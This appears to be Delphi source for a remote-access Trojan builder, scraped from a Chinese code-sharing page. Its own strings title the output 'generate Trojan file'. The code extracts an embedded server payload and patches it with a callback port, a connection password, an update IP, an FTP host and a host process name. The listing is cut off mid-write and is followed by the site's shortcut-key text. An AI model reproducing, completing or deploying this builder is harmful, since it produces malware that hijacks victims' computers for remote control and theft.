📄 unitconfigserver.pas
字号:
unit UnitConfigServer;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons, Inifiles, ShellApi,Upip1, ComCtrls;
const
OFFSET_EXE = 34804; // EXE名称
OFFSET_HOOK = 78772; // DLL名称
OFFSET_EXP = 78840; // 宿主:
OFFSET_FTP = 122948; // FTP主机地址:
OFFSET_FTXT = 219176; // 更新页地址:
OFFSET_URL = 219244; //更新IP
OFFSET_TORU = 219312; // 备注:
OFFSET_LFILE = 219380; // 上线端口:
OFFSET_PASS = 219448; // 连接密码:
type
TConfigServer = class(TForm)
BitBtn1: TButton;
RadioBox1: TCheckBox;
Label6: TLabel;
PageControl1: TPageControl;
TabSheet1: TTabSheet;
TabSheet2: TTabSheet;
Edit1: TEdit;
Label4: TLabel;
Label12: TLabel;
Label11: TLabel;
Label7: TLabel;
Label17: TLabel;
Edit5: TEdit;
Edit6: TEdit;
Label14: TLabel;
Label15: TLabel;
Button1: TButton;
Button2: TButton;
TabSheet3: TTabSheet;
Edit8: TEdit;
Label8: TLabel;
Label13: TLabel;
Edit4: TEdit;
Edit2: TEdit;
Label1: TLabel;
Edit3: TEdit;
Label3: TLabel;
Edit7: TEdit;
Label16: TLabel;
ComboBox1: TComboBox;
Label2: TLabel;
CheckBox1: TCheckBox;
Label5: TLabel;
Label9: TLabel;
procedure BitBtn2Click(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormCreate(Sender: TObject);
procedure RadioBox1Click(Sender: TObject);
procedure Edit3KeyPress(Sender: TObject; var Key: Char);
procedure Label10Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Label6Click(Sender: TObject);
procedure Label12Click(Sender: TObject);
procedure Label11Click(Sender: TObject);
procedure Label7Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
ConfigServer: TConfigServer;
myinifile: TInifile;
Filenupx: string;
implementation
{$R *.dfm}
{$R 'server.RES' 'server.rc'}
{$R 'upxserver.RES'}
function ExtractRes(ResType, ResName, OutName: string): Boolean;
var
HResInfo: THandle;
HGlobal: THandle;
HFile: THandle;
Ptr: Pointer;
Size, N: Integer;
begin
HFile := INVALID_HANDLE_VALUE;
repeat
Result := False;
HResInfo := FindResource(HInstance, PChar(ResName), PChar(ResType));
if HResInfo = 0 then Break;
HGlobal := LoadResource(HInstance, HResInfo);
if HGlobal = 0 then Break;
Ptr := LockResource(HGlobal);
Size := SizeOfResource(HInstance, HResInfo);
if Ptr = nil then Break;
HFile := CreateFile(PChar(OutName), GENERIC_READ or GENERIC_WRITE,
0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if HFile = INVALID_HANDLE_VALUE then Break;
if WriteFile(HFile, Ptr^, Size, LongWord(N), nil) then Result := True;
until True;
if HFile <> INVALID_HANDLE_VALUE then CloseHandle(HFile);
SetFileAttributes(PChar(OutName), 0);
end;
// 生成 ----------------------------
procedure TConfigServer.BitBtn1Click(Sender: TObject);
var
WriteBuff, ResultFilePath, ResourcePointer: PChar;
ResourceLocation: HRSRC;
ResourceSize, BytesWritten: Longword;
ResDataHandle: THandle;
FileHandle: THandle;
sf: TSaveDialog;
Lexe,Url,LFile,hookfile,ExpFile, Lftp,Lftxt,Ltoru,Lpass: string;
begin
if trim(Edit2.Text) = '' then
begin
MessageBox(0, '请输入安装名称', '提示信息', mb_iconinformation);
exit;
end;
if trim(Edit3.Text) = '' then
begin
MessageBox(0, '请输入上线端口', '提示信息', mb_iconinformation);
exit;
end;
if trim(Edit4.Text) = '' then
begin
MessageBox(0, '请输入安装名称', '提示信息', mb_iconinformation);
exit;
end;
begin
hookfile := edit3.Text; //上线端口
sf := TSaveDialog.Create(Application);
sf.InitialDir := Application.ExeName;
sf.FileName := '54sc_0.exe';
sf.DefaultExt := 'exe';
sf.Title := '生成木马文件';
if not sf.Execute then exit;
Url := trim(edit1.Text); // 更新IP
LFile := trim(edit2.Text); //DLL名称
ExpFile := trim(ComboBox1.Text); //宿主名称
Lexe := trim(edit4.Text); //EXE名称
Lftp:= trim(edit5.Text); // FTP主机地址
Lftxt:= '/'+Edit6.text; //更新页地址
Ltoru:= edit7.Text; // 备注
Lpass:= edit8.Text; // 连接密码
{ Url := EnCryptStr(trim(edit1.Text),'bwindlovexiaohan'); // 更新IP
LFile := EnCryptStr(trim(edit2.Text),'bwindlovexiaohan'); //DLL名称
ExpFile := EnCryptStr(trim(ComboBox1.Text),'bwindlovexiaohan'); //宿主名称
Lexe := EnCryptStr(trim(edit4.Text),'bwindlovexiaohan'); //EXE名称
Lftp:= EnCryptStr(trim(edit5.Text),'bwindlovexiaohan'); // FTP主机地址
Lftxt:= EnCryptStr('/'+Edit6.text,'bwindlovexiaohan'); //更新页地址
Ltoru:= EnCryptStr(edit7.Text,'bwindlovexiaohan'); // 备注
Lpass:= EnCryptStr(edit8.Text,'bwindlovexiaohan'); // 连接密码 }
//ShowMessage(hookfile + #13#10 + Url + #13#10 + Url + #13#10 + LFile + #13#10 + ExpFile + #13#10 + Lexe + #13#10 + Lftp + #13#10 + Lftxt + #13#10 + Ltoru + #13#10 + Lpass);
{edit1.Text:=url;
edit2.Text:=LFile;
edit3.Text:=hookfile;
ComboBox1.Text:=ExpFile;
edit4.Text:=Lexe;
edit5.Text:=Lftp;
edit6.Text:=Lftxt;
edit7.Text:=Ltoru;
edit8.Text:=Lpass; }
Filenupx := sf.FileName;
ResultFilePath := pchar(sf.FileName);
ResourceLocation := FindResource(HInstance, 'HOOKMM', RT_RCDATA);
if ResourceLocation <> 0 then
begin
ResourceSize := SizeofResource(HInstance, ResourceLocation);
if ResourceSize <> 0 then
begin
ResDataHandle := LoadResource(HInstance, ResourceLocation);
if ResDataHandle <> 0 then
begin
ResourcePointer := LockResource(ResDataHandle);
if ResourcePointer <> nil then
begin
FileHandle := CreateFile(ResultFilePath, GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if FileHandle <> INVALID_HANDLE_VALUE then
begin
WriteFile(FileHandle, ResourcePointer^, ResourceSize, BytesWritten, nil);
Sleep(10);
SetFilePointer(FileHandle, OFFSET_EXE, nil, FILE_BEGIN); //EXE名称
WriteBuff := PChar(Lexe + StringOfChar(#0, 64 - Length(Lexe)));
WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_EXE + 76, nil, FILE_BEGIN);
SetFilePointer(FileHandle, OFFSET_EXE + 68, nil, FILE_BEGIN); //DLL名称(OFFSET_HOOK)
WriteBuff := PChar(LFile + StringOfChar(#0, 64 - Length(LFile)));
WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_EXE + 68 + 76, nil, FILE_BEGIN);
SetFilePointer(FileHandle, OFFSET_EXE + 136, nil, FILE_BEGIN); //宿主名称(OFFSET_EXP)
WriteBuff := PChar(ExpFile + StringOfChar(#0, 64 - Length(ExpFile)));
WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_EXE + 136 + 76, nil, FILE_BEGIN);
SetFilePointer(FileHandle, OFFSET_FTP, nil, FILE_BEGIN); //FTP
WriteBuff := PChar(Lftp + StringOfChar(#0, 64 - Length(Lftp)));
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -